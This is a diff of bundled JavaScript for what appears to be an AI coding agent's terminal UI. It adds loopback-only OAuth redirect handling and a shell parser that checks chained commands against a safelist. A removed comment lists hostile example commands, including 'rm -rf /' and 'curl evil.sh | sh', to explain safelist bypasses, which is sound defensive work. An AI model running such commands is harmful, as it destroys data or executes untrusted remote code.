|
+
* `clipHintsToWidth` / `renderHintSpans` pipeline (e.g. the TUI's
|
|
6823
|
+
* minimal UI mode, where the prompt overlay shows only `@` / `/`
|
|
6824
|
+
* triggers) reuses the same frozen array instead of allocating a new
|
|
6825
|
+
* one each render.
|
|
6826
|
+
*/
|
|
6531
6827
|
const EMPTY_HINTS = Object.freeze([]);
|
|
6532
6828
|
/**
|
|
6533
6829
|
* Return the longest prefix of `hints` whose rendered width fits within
|
|
@@ -7566,6 +7862,10 @@ function buildSearchCorpus(provider, model) {
|
|
|
7566
7862
|
function supportsOAuth(descriptor) {
|
|
7567
7863
|
return descriptor.oauthProvider !== void 0;
|
|
7568
7864
|
}
|
|
7865
|
+
/** True when the provider's OAuth flow needs the user to paste a code back into the TUI (no loopback callback). */
|
|
7866
|
+
function oauthUsesManualCodePaste(descriptor) {
|
|
7867
|
+
return descriptor.oauthProvider?.usesCallbackServer === false;
|
|
7868
|
+
}
|
|
7569
7869
|
/**
|
|
7570
7870
|
* Run the OAuth login flow for a provider.
|
|
7571
7871
|
*
|
|
@@ -7580,9 +7880,9 @@ async function runOAuthLogin(descriptor, options) {
|
|
|
7580
7880
|
options.onUrl(info.url, info.instructions);
|
|
7581
7881
|
tryOpenBrowser(info.url);
|
|
7582
7882
|
},
|
|
7583
|
-
onPrompt: async () => {
|
|
7584
|
-
if (!options.
|
|
7585
|
-
return options.
|
|
7883
|
+
onPrompt: async (prompt) => {
|
|
7884
|
+
if (!options.onPrompt) throw new Error(`OAuth provider "${descriptor.label}" requested user input ("${prompt.message}") but no onPrompt handler is wired.`);
|
|
7885
|
+
return options.onPrompt(prompt);
|
|
7586
7886
|
},
|
|
7587
7887
|
onProgress: options.onProgress,
|
|
7588
7888
|
signal: options.signal
|
|
@@ -7590,6 +7890,91 @@ async function runOAuthLogin(descriptor, options) {
|
|
|
7590
7890
|
return descriptor.oauthProvider.login(callbacks);
|
|
7591
7891
|
}
|
|
7592
7892
|
//#endregion
|
|
7893
|
+
//#region src/chat/oauth-redirect.ts
|
|
7894
|
+
/**
|
|
7895
|
+
* Manual OAuth redirect-URL handoff.
|
|
7896
|
+
*
|
|
7897
|
+
* Users who run zidane over SSH (or behind a proxy / firewall that blocks
|
|
7898
|
+
* loopback) can't have the local browser hit the in-process callback server.
|
|
7899
|
+
* They CAN, however, copy the URL their browser was redirected to —
|
|
7900
|
+
* `http://127.0.0.1:<port>/callback?code=...&state=...` — and paste it back
|
|
7901
|
+
* into the TUI.
|
|
7902
|
+
*
|
|
7903
|
+
* The trick: that URL IS the callback our local server is listening on. We
|
|
7904
|
+
* just `fetch()` it ourselves. The server runs in the same process; the
|
|
7905
|
+
* request hits its handler exactly as if a real browser had arrived, the
|
|
7906
|
+
* OAuth promise (`waitForCode` for pi-ai providers, `startOAuthCallback` for
|
|
7907
|
+
* MCP) resolves through the normal happy path, and the upstream flow
|
|
7908
|
+
* continues uninterrupted. No new code path inside the OAuth state machine.
|
|
7909
|
+
*
|
|
7910
|
+
* Defense in depth: we reject anything that isn't a loopback URL — fetching
|
|
7911
|
+
* an arbitrary user-pasted URL from inside the agent process would be a
|
|
7912
|
+
* trivial SSRF.
|
|
7913
|
+
*/
|
|
7914
|
+
const LOOPBACK_HOSTS = new Set([
|
|
7915
|
+
"127.0.0.1",
|
|
7916
|
+
"localhost",
|
|
7917
|
+
"::1",
|
|
7918
|
+
"[::1]"
|
|
7919
|
+
]);
|
|
7920
|
+
/**
|
|
7921
|
+
* Treat `pasted` as a callback-URL paste. Validates it's a loopback URL,
|
|
7922
|
+
* fires a GET, returns the status.
|
|
7923
|
+
*
|
|
7924
|
+
* Throws when:
|
|
7925
|
+
* - `pasted` doesn't parse as a URL.
|
|
7926
|
+
* - The URL host isn't loopback (rejects SSRF).
|
|
7927
|
+
* - The fetch errors out (network, timeout).
|
|
7928
|
+
*
|
|
7929
|
+
* Returns success/failure for non-2xx responses; the caller decides whether
|
|
7930
|
+
* a 4xx is fatal (state mismatch is a 400 the user can retry from).
|
|
7931
|
+
*/
|
|
7932
|
+
async function fetchOAuthRedirect(pasted, options = {}) {
|
|
7933
|
+
const trimmed = pasted.trim();
|
|
7934
|
+
if (!trimmed) throw new Error("Paste the redirect URL from your browser.");
|
|
7935
|
+
let url;
|
|
7936
|
+
try {
|
|
7937
|
+
url = new URL(trimmed);
|
|
7938
|
+
} catch {
|
|
7939
|
+
throw new Error("That doesn't look like a URL. Paste the full address from your browser.");
|
|
7940
|
+
}
|
|
7941
|
+
const host = url.hostname.replace(/^\[|\]$/g, "");
|
|
7942
|
+
if (!LOOPBACK_HOSTS.has(host)) throw new Error(`Expected a loopback URL (127.0.0.1 / localhost), got "${url.hostname}". The browser should have redirected to a localhost address.`);
|
|
7943
|
+
const timeoutMs = options.timeoutMs ?? 5e3;
|
|
7944
|
+
const ac = new AbortController();
|
|
7945
|
+
const timer = setTimeout(() => ac.abort(), timeoutMs);
|
|
7946
|
+
options.signal?.addEventListener("abort", () => ac.abort(), { once: true });
|
|
7947
|
+
let response;
|
|
7948
|
+
try {
|
|
7949
|
+
response = await fetch(url.toString(), { signal: ac.signal });
|
|
7950
|
+
} catch (err) {
|
|
7951
|
+
if (err.name === "AbortError") throw new Error("No response from the local callback server — was the login already cancelled?");
|
|
7952
|
+
throw new Error(`Could not reach the local callback server: ${err.message}`);
|
|
7953
|
+
} finally {
|
|
7954
|
+
clearTimeout(timer);
|
|
7955
|
+
}
|
|
7956
|
+
const bodyText = await response.text().catch(() => "");
|
|
7957
|
+
return {
|
|
7958
|
+
status: response.status,
|
|
7959
|
+
message: extractMessage(bodyText)
|
|
7960
|
+
};
|
|
7961
|
+
}
|
|
7962
|
+
/**
|
|
7963
|
+
* Pick the most useful one-line message out of the callback server's HTML
|
|
7964
|
+
* response. pi-ai uses `<h1>` for the heading; the MCP callback uses
|
|
7965
|
+
* a leading `<p>`. We try both, then fall back to a stripped snippet.
|
|
7966
|
+
*/
|
|
7967
|
+
function extractMessage(html) {
|
|
7968
|
+
if (!html) return void 0;
|
|
7969
|
+
const h1 = /<h1[^>]*>([\s\S]*?)<\/h1>/i.exec(html)?.[1];
|
|
7970
|
+
if (h1) return stripTags(h1).trim() || void 0;
|
|
7971
|
+
const p = /<p[^>]*>([\s\S]*?)<\/p>/i.exec(html)?.[1];
|
|
7972
|
+
if (p) return stripTags(p).trim() || void 0;
|
|
7973
|
+
}
|
|
7974
|
+
function stripTags(s) {
|
|
7975
|
+
return s.replace(/<[^>]*>/g, "").replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">").replace(/"/g, "\"").replace(/'/g, "'");
|
|
7976
|
+
}
|
|
7977
|
+
//#endregion
|
|
7593
7978
|
//#region src/chat/path-display.ts
|
|
7594
7979
|
/**
|
|
7595
7980
|
* @-completion path display formatter.
|
|
@@ -7702,6 +8087,248 @@ function splitPromptSegments(text, refs) {
|
|
|
7702
8087
|
return out;
|
|
7703
8088
|
}
|
|
7704
8089
|
//#endregion
|
|
8090
|
+
//#region src/chat/shell-parse.ts
|
|
8091
|
+
/**
|
|
8092
|
+
* Lightweight shell command parser for safelist enforcement.
|
|
8093
|
+
*
|
|
8094
|
+
* Extracts the head token (program name) of every command in a bash
|
|
8095
|
+
* command string — including chains (`&&`, `||`, `;`), pipes (`|`),
|
|
8096
|
+
* subshells (`(…)`), and command substitutions (`$(…)` and backticks).
|
|
8097
|
+
*
|
|
8098
|
+
* Handles quoting (`'…'`, `"…"`, `\x`), variable assignments
|
|
8099
|
+
* (`NAME=val`), I/O redirection, and the `!` negation prefix.
|
|
8100
|
+
*
|
|
8101
|
+
* Returns `null` when parsing fails so callers can fall back to
|
|
8102
|
+
* prompting (safe default).
|
|
8103
|
+
*/
|
|
8104
|
+
function extractCommandHeads(command) {
|
|
8105
|
+
try {
|
|
8106
|
+
const p = new ShellParser(command);
|
|
8107
|
+
p.list();
|
|
8108
|
+
return p.heads;
|
|
8109
|
+
} catch {
|
|
8110
|
+
return null;
|
|
8111
|
+
}
|
|
8112
|
+
}
|
|
8113
|
+
const META = new Set(" \n\r;|&()<>".split(""));
|
|
8114
|
+
var ShellParser = class ShellParser {
|
|
8115
|
+
s;
|
|
8116
|
+
heads = [];
|
|
8117
|
+
i = 0;
|
|
8118
|
+
constructor(s) {
|
|
8119
|
+
this.s = s;
|
|
8120
|
+
}
|
|
8121
|
+
/** Command list — pipelines separated by `;`, `&&`, `||`, `\n`, `&`. */
|
|
8122
|
+
list(closer) {
|
|
8123
|
+
for (;;) {
|
|
8124
|
+
this.ws();
|
|
8125
|
+
if (this.end(closer)) return;
|
|
8126
|
+
this.pipeline(closer);
|
|
8127
|
+
this.ws();
|
|
8128
|
+
if (this.end(closer)) return;
|
|
8129
|
+
const c = this.c();
|
|
8130
|
+
if (c === ";" || c === "\n" || c === "\r") {
|
|
8131
|
+
this.i++;
|
|
8132
|
+
continue;
|
|
8133
|
+
}
|
|
8134
|
+
if (this.is("&&") || this.is("||")) {
|
|
8135
|
+
this.i += 2;
|
|
8136
|
+
continue;
|
|
8137
|
+
}
|
|
8138
|
+
if (c === "&") {
|
|
8139
|
+
this.i++;
|
|
8140
|
+
continue;
|
|
8141
|
+
}
|
|
8142
|
+
break;
|
|
8143
|
+
}
|
|
8144
|
+
}
|
|
8145
|
+
/** Pipeline — simple commands separated by `|` (not `||`). */
|
|
8146
|
+
pipeline(closer) {
|
|
8147
|
+
this.cmd(closer);
|
|
8148
|
+
for (;;) {
|
|
8149
|
+
this.ws();
|
|
8150
|
+
if (this.c() === "|" && !this.is("||")) {
|
|
8151
|
+
this.i++;
|
|
8152
|
+
this.cmd(closer);
|
|
8153
|
+
} else break;
|
|
8154
|
+
}
|
|
8155
|
+
}
|
|
8156
|
+
/** Simple command — extract head, skip remaining arguments. */
|
|
8157
|
+
cmd(closer) {
|
|
8158
|
+
this.ws();
|
|
8159
|
+
if (this.i >= this.s.length) return;
|
|
8160
|
+
if (closer && this.c() === closer) return;
|
|
8161
|
+
if (this.c() === "(") {
|
|
8162
|
+
this.i++;
|
|
8163
|
+
this.list(")");
|
|
8164
|
+
return;
|
|
8165
|
+
}
|
|
8166
|
+
if (this.c() === "!" && this.i + 1 < this.s.length && (this.s[this.i + 1] === " " || this.s[this.i + 1] === " ")) {
|
|
8167
|
+
this.i++;
|
|
8168
|
+
this.ws();
|
|
8169
|
+
}
|
|
8170
|
+
while (this.i < this.s.length && !this.sep(closer)) {
|
|
8171
|
+
if (this.c() === "(") {
|
|
8172
|
+
this.i++;
|
|
8173
|
+
this.list(")");
|
|
8174
|
+
break;
|
|
8175
|
+
}
|
|
8176
|
+
const w = this.word();
|
|
8177
|
+
if (!w) break;
|
|
8178
|
+
if (isAssignment(w)) {
|
|
8179
|
+
this.ws();
|
|
8180
|
+
continue;
|
|
8181
|
+
}
|
|
8182
|
+
this.heads.push(w);
|
|
8183
|
+
break;
|
|
8184
|
+
}
|
|
8185
|
+
this.tail(closer);
|
|
8186
|
+
}
|
|
8187
|
+
/** Read one shell word, handling quoting and substitutions. */
|
|
8188
|
+
word() {
|
|
8189
|
+
let out = "";
|
|
8190
|
+
while (this.i < this.s.length) {
|
|
8191
|
+
const c = this.c();
|
|
8192
|
+
if (META.has(c)) break;
|
|
8193
|
+
if (c === "\\" && this.i + 1 < this.s.length) {
|
|
8194
|
+
out += this.s[this.i + 1];
|
|
8195
|
+
this.i += 2;
|
|
8196
|
+
continue;
|
|
8197
|
+
}
|
|
8198
|
+
if (c === "'") {
|
|
8199
|
+
this.i++;
|
|
8200
|
+
while (this.i < this.s.length && this.s[this.i] !== "'") out += this.s[this.i++];
|
|
8201
|
+
if (this.i < this.s.length) this.i++;
|
|
8202
|
+
continue;
|
|
8203
|
+
}
|
|
8204
|
+
if (c === "\"") {
|
|
8205
|
+
out += this.dquote();
|
|
8206
|
+
continue;
|
|
8207
|
+
}
|
|
8208
|
+
if (this.is("$(")) {
|
|
8209
|
+
this.i += 2;
|
|
8210
|
+
this.list(")");
|
|
8211
|
+
continue;
|
|
8212
|
+
}
|
|
8213
|
+
if (c === "`") {
|
|
8214
|
+
this.btick();
|
|
8215
|
+
continue;
|
|
8216
|
+
}
|
|
8217
|
+
out += c;
|
|
8218
|
+
this.i++;
|
|
8219
|
+
}
|
|
8220
|
+
return out;
|
|
8221
|
+
}
|
|
8222
|
+
/** Double-quoted string — returns literal chars, recurses into substitutions. */
|
|
8223
|
+
dquote() {
|
|
8224
|
+
this.i++;
|
|
8225
|
+
let out = "";
|
|
8226
|
+
while (this.i < this.s.length && this.s[this.i] !== "\"") {
|
|
8227
|
+
if (this.s[this.i] === "\\" && this.i + 1 < this.s.length) {
|
|
8228
|
+
out += this.s[this.i + 1];
|
|
8229
|
+
this.i += 2;
|
|
8230
|
+
continue;
|
|
8231
|
+
}
|
|
8232
|
+
if (this.is("$(")) {
|
|
8233
|
+
this.i += 2;
|
|
8234
|
+
this.list(")");
|
|
8235
|
+
continue;
|
|
8236
|
+
}
|
|
8237
|
+
if (this.s[this.i] === "`") {
|
|
8238
|
+
this.btick();
|
|
8239
|
+
continue;
|
|
8240
|
+
}
|
|
8241
|
+
out += this.s[this.i++];
|
|
8242
|
+
}
|
|
8243
|
+
if (this.i < this.s.length) this.i++;
|
|
8244
|
+
return out;
|
|
8245
|
+
}
|
|
8246
|
+
/** Backtick substitution — creates a sub-parser for the inner content. */
|
|
8247
|
+
btick() {
|
|
8248
|
+
this.i++;
|
|
8249
|
+
const close = this.s.indexOf("`", this.i);
|
|
8250
|
+
const sub = new ShellParser(close < 0 ? this.s.slice(this.i) : this.s.slice(this.i, close));
|
|
8251
|
+
sub.list();
|
|
8252
|
+
this.heads.push(...sub.heads);
|
|
8253
|
+
this.i = close < 0 ? this.s.length : close + 1;
|
|
8254
|
+
}
|
|
8255
|
+
/** Skip remaining arguments and redirections until the next command boundary. */
|
|
8256
|
+
tail(closer) {
|
|
8257
|
+
while (this.i < this.s.length) {
|
|
8258
|
+
this.ws();
|
|
8259
|
+
if (this.i >= this.s.length || this.sep(closer)) break;
|
|
8260
|
+
if (this.redir()) continue;
|
|
8261
|
+
if (this.c() === "(") {
|
|
8262
|
+
this.i++;
|
|
8263
|
+
this.list(")");
|
|
8264
|
+
continue;
|
|
8265
|
+
}
|
|
8266
|
+
if (!this.word()) break;
|
|
8267
|
+
}
|
|
8268
|
+
}
|
|
8269
|
+
/** Try to consume an I/O redirection operator + target. Returns true if consumed. */
|
|
8270
|
+
redir() {
|
|
8271
|
+
const c = this.c();
|
|
8272
|
+
let yes = c === "<" || c === ">";
|
|
8273
|
+
if (!yes && c >= "0" && c <= "9" && this.i + 1 < this.s.length) {
|
|
8274
|
+
const n = this.s[this.i + 1];
|
|
8275
|
+
yes = n === "<" || n === ">";
|
|
8276
|
+
}
|
|
8277
|
+
if (!yes) return false;
|
|
8278
|
+
while (this.i < this.s.length && this.s[this.i] >= "0" && this.s[this.i] <= "9") this.i++;
|
|
8279
|
+
if (this.c() === ">") {
|
|
8280
|
+
this.i++;
|
|
8281
|
+
if (this.c() === ">") this.i++;
|
|
8282
|
+
if (this.c() === "&") {
|
|
8283
|
+
this.i++;
|
|
8284
|
+
while (this.i < this.s.length && this.s[this.i] >= "0" && this.s[this.i] <= "9") this.i++;
|
|
8285
|
+
return true;
|
|
8286
|
+
}
|
|
8287
|
+
} else if (this.c() === "<") {
|
|
8288
|
+
this.i++;
|
|
8289
|
+
if (this.c() === "<") {
|
|
8290
|
+
this.i++;
|
|
8291
|
+
if (this.c() === "-") this.i++;
|
|
8292
|
+
}
|
|
8293
|
+
}
|
|
8294
|
+
this.ws();
|
|
8295
|
+
this.word();
|
|
8296
|
+
return true;
|
|
8297
|
+
}
|
|
8298
|
+
/** True at a command boundary (`;`, `\n`, `&`, `|`, `)`, or closer). */
|
|
8299
|
+
sep(closer) {
|
|
8300
|
+
const c = this.c();
|
|
8301
|
+
if (c === ";" || c === "\n" || c === "\r" || c === "&" || c === ")") return true;
|
|
8302
|
+
if (c === "|") return true;
|
|
8303
|
+
if (closer && c === closer) return true;
|
|
8304
|
+
return false;
|
|
8305
|
+
}
|
|
8306
|
+
/** True when past end or at closer (closer is consumed). */
|
|
8307
|
+
end(closer) {
|
|
8308
|
+
if (this.i >= this.s.length) return true;
|
|
8309
|
+
if (closer && this.c() === closer) {
|
|
8310
|
+
this.i++;
|
|
8311
|
+
return true;
|
|
8312
|
+
}
|
|
8313
|
+
return false;
|
|
8314
|
+
}
|
|
8315
|
+
c() {
|
|
8316
|
+
return this.s[this.i] ?? "";
|
|
8317
|
+
}
|
|
8318
|
+
is(s) {
|
|
8319
|
+
return this.s.startsWith(s, this.i);
|
|
8320
|
+
}
|
|
8321
|
+
ws() {
|
|
8322
|
+
while (this.i < this.s.length && (this.s[this.i] === " " || this.s[this.i] === " ")) this.i++;
|
|
8323
|
+
}
|
|
8324
|
+
};
|
|
8325
|
+
/** `NAME=…` where NAME is a valid shell identifier. */
|
|
8326
|
+
function isAssignment(w) {
|
|
8327
|
+
const eq = w.indexOf("=");
|
|
8328
|
+
if (eq <= 0) return false;
|
|
8329
|
+
return /^[A-Z_]\w*$/i.test(w.slice(0, eq));
|
|
8330
|
+
}
|
|
8331
|
+
//#endregion
|
|
7705
8332
|
//#region src/chat/safe-mode.ts
|
|
7706
8333
|
/**
|
|
7707
8334
|
* Safe-mode storage + matching for the TUI.
|
|
@@ -7827,66 +8454,23 @@ function primaryArgToken(input) {
|
|
|
7827
8454
|
return primaryArgValue(input).trim().split(/\s+/)[0] ?? "";
|
|
7828
8455
|
}
|
|
7829
8456
|
/**
|
|
7830
|
-
* Shell features that introduce a SECOND, UNRELATED command into the
|
|
7831
|
-
* pipeline — and would silently bypass a `shell:<head>:*` safelist that
|
|
7832
|
-
* the user only meant to cover the head program. We block these
|
|
7833
|
-
* specifically:
|
|
7834
|
-
*
|
|
7835
|
-
* - `;` — sequence operator (`git status; rm -rf /`)
|
|
7836
|
-
* - `&&` / `||` — and-/or-chains (`git status && curl evil.sh | sh`)
|
|
7837
|
-
* - `\n` / `\r` — multi-line scripts, equivalent to `;`
|
|
7838
|
-
* - `` ` `` — backtick command substitution (`echo \`rm -rf /\``)
|
|
7839
|
-
* - `$(…)` — modern command substitution (`echo $(rm -rf /)`)
|
|
7840
|
-
*
|
|
7841
|
-
* We deliberately do NOT block:
|
|
7842
|
-
*
|
|
7843
|
-
* - `|` — pipes; required for the bread-and-butter CLI pattern
|
|
7844
|
-
* `sentry issue list … | jq -r '.[]'`.
|
|
7845
|
-
* - `>` / `>>` / `<` / `2>&1` — I/O redirection; `cmd > out.txt` and
|
|
7846
|
-
* `cmd 2>&1 | jq` are normal CLI usage.
|
|
7847
|
-
* - `&` (alone) — backgrounding; runs the same command in the background
|
|
7848
|
-
* rather than chaining a new one.
|
|
7849
|
-
* - `(…)` — subshells; rare in practice, and the chaining
|
|
7850
|
-
* detectors above already catch the dangerous content
|
|
7851
|
-
* that would typically live inside them.
|
|
7852
|
-
*
|
|
7853
|
-
* Trade-off: a model that controls the output of the safelisted head
|
|
7854
|
-
* command could in principle pipe garbage into a destructive tool
|
|
7855
|
-
* (`sentry list | sh`). The original implementation blocked all
|
|
7856
|
-
* metacharacters to avoid that risk, but it made `shell:<head>:*`
|
|
7857
|
-
* unusable for real CLI workflows — users hit the prompt on every
|
|
7858
|
-
* `cmd | jq` and learned to ignore the modal. Allowing pipes/redirects
|
|
7859
|
-
* trusts the user's explicit "I want everything starting with <head>"
|
|
7860
|
-
* decision; the chaining rejections above keep the obvious escape
|
|
7861
|
-
* hatches closed.
|
|
7862
|
-
*
|
|
7863
|
-
* The regex is intentionally generous: false positives (e.g. a literal
|
|
7864
|
-
* `&&` inside a quoted argument) just prompt the user again, which is
|
|
7865
|
-
* the safe failure mode.
|
|
7866
|
-
*/
|
|
7867
|
-
const SHELL_CHAINING_RE = /&&|\|\||\$\(|[;`\n\r]/;
|
|
7868
|
-
function hasShellChaining(command) {
|
|
7869
|
-
return SHELL_CHAINING_RE.test(command);
|
|
7870
|
-
}
|
|
7871
|
-
/**
|
|
7872
8457
|
* Test whether a `{ tool, input }` pair is covered by one safelist entry.
|
|
7873
8458
|
*
|
|
7874
8459
|
* Supported entry shapes:
|
|
7875
|
-
* - `"<tool>"` — broad match on tool name.
|
|
7876
|
-
* must not chain through another program (see {@link SHELL_CHAINING_RE}).
|
|
8460
|
+
* - `"<tool>"` — broad match on tool name.
|
|
7877
8461
|
* - `"<tool>:<token>:*"` — match when the primary arg's first token
|
|
7878
|
-
* equals `<token>`.
|
|
7879
|
-
*
|
|
7880
|
-
*
|
|
8462
|
+
* equals `<token>`.
|
|
8463
|
+
*
|
|
8464
|
+
* This function matches a **single command** against a **single entry**.
|
|
8465
|
+
* For shell commands that chain multiple programs (`&&`, `||`, `;`,
|
|
8466
|
+
* `$(…)`, etc.), use {@link isOnSafelist} which parses the full command
|
|
8467
|
+
* and checks every head token independently.
|
|
7881
8468
|
*
|
|
7882
8469
|
* Entries that don't fit either shape are ignored (forward-compat for
|
|
7883
8470
|
* future pattern syntax — readers shouldn't choke on entries written
|
|
7884
8471
|
* by a newer version of the TUI).
|
|
7885
8472
|
*/
|
|
7886
8473
|
function matchesSafelistEntry(entry, tool, input) {
|
|
7887
|
-
if (tool === "shell") {
|
|
7888
|
-
if (hasShellChaining(typeof input.command === "string" ? input.command : "")) return false;
|
|
7889
|
-
}
|
|
7890
8474
|
if (entry === tool) return true;
|
|
7891
8475
|
const sep = entry.indexOf(":");
|
|
7892
8476
|
if (sep <= 0) return false;
|
|
@@ -7895,9 +8479,26 @@ function matchesSafelistEntry(entry, tool, input) {
|
|
|
7895
8479
|
if (scope.endsWith(":*")) return primaryArgToken(input) === scope.slice(0, -2);
|
|
7896
8480
|
return false;
|
|
7897
8481
|
}
|
|
7898
|
-
/**
|
|
8482
|
+
/**
|
|
8483
|
+
* True when a call matches ANY entry in the project's safelist (or is
|
|
8484
|
+
* implicitly safe).
|
|
8485
|
+
*
|
|
8486
|
+
* For `shell` commands, the full command string is parsed into individual
|
|
8487
|
+
* commands (handling `&&`, `||`, `;`, `|`, `$(…)`, backticks, subshells).
|
|
8488
|
+
* Every command head must be covered by at least one safelist entry for
|
|
8489
|
+
* the call to pass. If parsing fails, returns `false` (prompt the user).
|
|
8490
|
+
*/
|
|
7899
8491
|
function isOnSafelist(entries, tool, input) {
|
|
7900
8492
|
if (IMPLICITLY_SAFE_TOOLS.includes(tool)) return true;
|
|
8493
|
+
if (tool === "shell") {
|
|
8494
|
+
const heads = extractCommandHeads(typeof input.command === "string" ? input.command : "");
|
|
8495
|
+
if (heads === null) return false;
|
|
8496
|
+
if (heads.length === 0) return entries.some((e) => matchesSafelistEntry(e, tool, input));
|
|
8497
|
+
return heads.every((head) => entries.some((e) => matchesSafelistEntry(e, tool, {
|
|
8498
|
+
...input,
|
|
8499
|
+
command: head
|
|
8500
|
+
})));
|
|
8501
|
+
}
|
|
7901
8502
|
return entries.some((e) => matchesSafelistEntry(e, tool, input));
|
|
7902
8503
|
}
|
|
7903
8504
|
/**
|
|
@@ -9188,6 +9789,6 @@ function countNeighbors(turnIds, turnId) {
|
|
|
9188
9789
|
};
|
|
9189
9790
|
}
|
|
9190
9791
|
//#endregion
|
|
9191
|
-
export {
|
|
9792
|
+
export { patchMcpCredential as $, collectReferences as $n, TODO_STATUS_GLYPHS as $r, isEditErrorResult as $t, getSafelist as A, resolveApprovalForPayload as An, anthropicDescriptor as Ar, SettingsProvider as At, oauthUsesManualCodePaste as B, keybindingsPath as Bn, piIdOf as Br, CATPPUCCIN_MACCHIATO as Bt, resolveSessionExportTarget as C, splitLines as Cn, readCredentials as Cr, buildHints as Ct, useSafeModeQueue as D, maskToOutcomeKinds as Dn, writeCredentials as Dr, DEFAULT_SETTINGS as Dt, useSafeModeActions as E, buildEditOutcomesAnnotation as En, setProviderCredential as Er, useEnabledToggleSet as Et, suggestSafelistEntry as F, DEFAULT_KEYBINDINGS as Fn, getModelInfo as Fr, resolveChipColor as Ft, indexOfEntry as G, stripJsonComments as Gn, DEFAULT_PERSIST_EXCLUDE_TOOLS as Gr, useDiscoveryOptional as Gt, supportsOAuth as H, mergeKeybindings as Hn, BUILTIN_AGENTS as Hr, createDiscoverySlot as Ht, writeProjects as I, KEYBINDING_DEFS as In, modelSupportsReasoning as Ir, resolveTheme as It, discoverProjectMcps as J, uniqueSkillNamesFromReferences as Jn, resolveAgentId as Jr, resolveConfig as Jt, buildMcpServers as K, SKILLS_TRIGGER as Kn, PLAN_AGENT as Kr, ConfigProvider as Kt, splitPromptSegments as L, KEYBINDING_DEF_BY_ACTION as Ln, modelsForDescriptor as Lr, VAPORWAVE_THEME as Lt, matchesSafelistEntry as M, stripEditOutcomesAnnotation as Mn, credKeyOf as Mr, useSettings as Mt, projectsFilePath as N, summarizeOutcomes as Nn, effectiveContextWindow as Nr, BUILTIN_THEMES as Nt, IMPLICITLY_SAFE_TOOLS as O, mergeApprovalAndBodyOutcomes as On, BUILTIN_PROVIDERS as Or, SETTINGS_CHOICES as Ot, readProjects as P, findGitRoot$1 as Pn, getContextWindow as Pr, DEFAULT_THEME as Pt, mcpCredentialsPath as Q, applyInsert as Qn, TODOWRITE_TOOL as Qr, eventsFromTurns as Qt, formatPathForCwd as R, ensureKeybindingsFile as Rn, openaiDescriptor as Rr, CATPPUCCIN_FRAPPE as Rt, renderSession as S, envSection as Si, previewEditPayload as Sn, credentialsPath as Sr, generateSessionTitle as St, SafeModeProvider as T, tokenize as Tn, removeProviderCredential as Tr, listProjectFiles as Tt, buildModelCatalog as U, parseBindingSpec as Un, DEFAULT_AGENT_ID as Ur, DiscoveryProvider as Ut, runOAuthLogin as V, matchesBinding as Vn, BUILD_AGENT as Vr, CATPPUCCIN_MOCHA as Vt, filterModelCatalog as W, readKeybindings as Wn, DEFAULT_BUDGET_EXCLUDE_TOOLS as Wr, useDiscovery as Wt, projectUserPaths as X, createFilesCompletionProvider as Xn, TODOREAD_TOOL as Xr, createStateStore as Xt, parseMcpsFile as Y, FILES_TRIGGER as Yn, singleAgentRegistry as Yr, EDIT_TOOL_NAMES as Yt, createFileMcpCredentialStore as Z, uniqueFilesFromReferences as Zn, TODOS_METADATA_KEY as Zr, deriveSessionTitle as Zt, turnContextSize as _, PLAN_MODE_DOCTRINE_NO_PROMPTS as _i, buildUnifiedDiff as _n, resolvePlatformPackage as _r, EMPTY_HINTS as _t, computeTurnAnchors as a, pickActiveRunId as ai, marginTopFor as an, tryOpenBrowser as ar, splitMarkdownCodeBlocks as at, defaultSkillScanPaths as b, buildBuildSystem as bi, extractEditPayload as bn, detectAuth as br, truncateTrailing as bt, formatToolCall as c, setTodosForRun as ci, stripSpawnTokensLine as cn, buildUpdateHint as cr, PRESENT_PLAN_TOOL as ct, useSelectStyle as d, COMMUNICATION_DOCTRINE as di, toolCallPreview as dn, compareSemver as dr, isInteractionTool as dt, TODO_WRITE_COUNTS_METADATA_KEY as ei, isTurnHighlighted as en, findActiveTrigger as er, McpAuthProvider as et, useSurfaces as f, DOING_TASKS_DOCTRINE as fi, toolResultText as fn, detectLibc as fr, makeRequestInteraction as ft, finalizeStreamingMarkdownForOwner as g, PLAN_MODE_DOCTRINE as gi, buildContextualDiff as gn, performSelfUpdate as gr, useInteractionsQueue as gt, finalizeStreamingMarkdown as h, INTERACTION_GUIDANCE_NO_PROMPTS as hi, applyEditPayload as hn, performInPlaceSelfUpdate as hr, useInteractionsActions as ht, turnAsText as i, isTodoTool as ii, loadState as in, buildLinearRamp as ir, reduceMcpAuth as it, isOnSafelist as j, rewriteMultiEditHeader as jn, cerebrasDescriptor as jr, clampFps as jt, addToSafelist as k, parseEditOutcomesFromResult as kn, OUTPUT_RESERVE_TOKENS as kr, SETTINGS_TOGGLES as kt, ThemeProvider as l, useActiveTodos as li, sumRunCosts as ln, useUpdateCheck as lr, buildResumedToolResultsTurn as lt, useTheme as m, INTERACTION_GUIDANCE as mi, updateToolEventOutcomes as mn, parseSemver as mr, serializeInteractionResponse as mt, deleteTurnSafely as n, getArchivedTodosForRun as ni, lastContextSizeFromTurns as nn, useCompletion as nr, useMcpAuthState as nt, TOOL_DISPLAY as o, pruneTodosByRun as oi, saveState as on, bootProfileEnabled as or, ASK_USER_TOOL as ot, useSyntaxStyles as p, IDENTITY_PREFIX as pi, turnSelectionOwnership as pn, detectPackageManager as pr, pendingInteractionsFromTurns as pt, defaultMcpsConfigPaths as q, createSkillsCompletionProvider as qn, accentColor as qr, useConfig as qt, truncateTurnsAt as r, getTodosForRun as ri, listSessionMeta as rn, blendHsl as rr, getMcpAuthStatus as rt, displayNameFor as s, selectActiveTodos as si, selectableTurnIds as sn, bootTick as sr, InteractionsProvider as st, countNeighbors as t, createTodoTools as ti, isVisible as tn, mergeReferences as tr, useMcpAuthDispatch as tt, useColors as u, ACTIONS_WITH_CARE_DOCTRINE as ui, titleFromTurns as un, checkForUpdate as ur, createInteractionTools as ut, useStreamBuffer as v, SUBAGENT_GUIDANCE as vi, computeInlineDiff as vn, AUTO_COMPACT_MIN_GROWTH_FRACTION as vr, clipHintsToWidth as vt, writeSessionExport as w, summarizeEditPayload as wn, readProviderCredential as wr, shortChord as wt, discoverProjectSkills as x, buildPlanSystem as xi, filetypeFromPath as xn, applyApiKeyEnv as xr, cleanTitle as xt, buildSkillsConfig as y, TOKEN_DISCIPLINE_DOCTRINE as yi, computeLineDiff as yn, shouldAutoCompact as yr, hintsLength as yt, fetchOAuthRedirect as z, formatBindingForDisplay as zn, openrouterDescriptor as zr, CATPPUCCIN_LATTE as zt };
|
|
9192
9793
|
|
|
9193
|
-
//# sourceMappingURL=turn-operations-
|
|
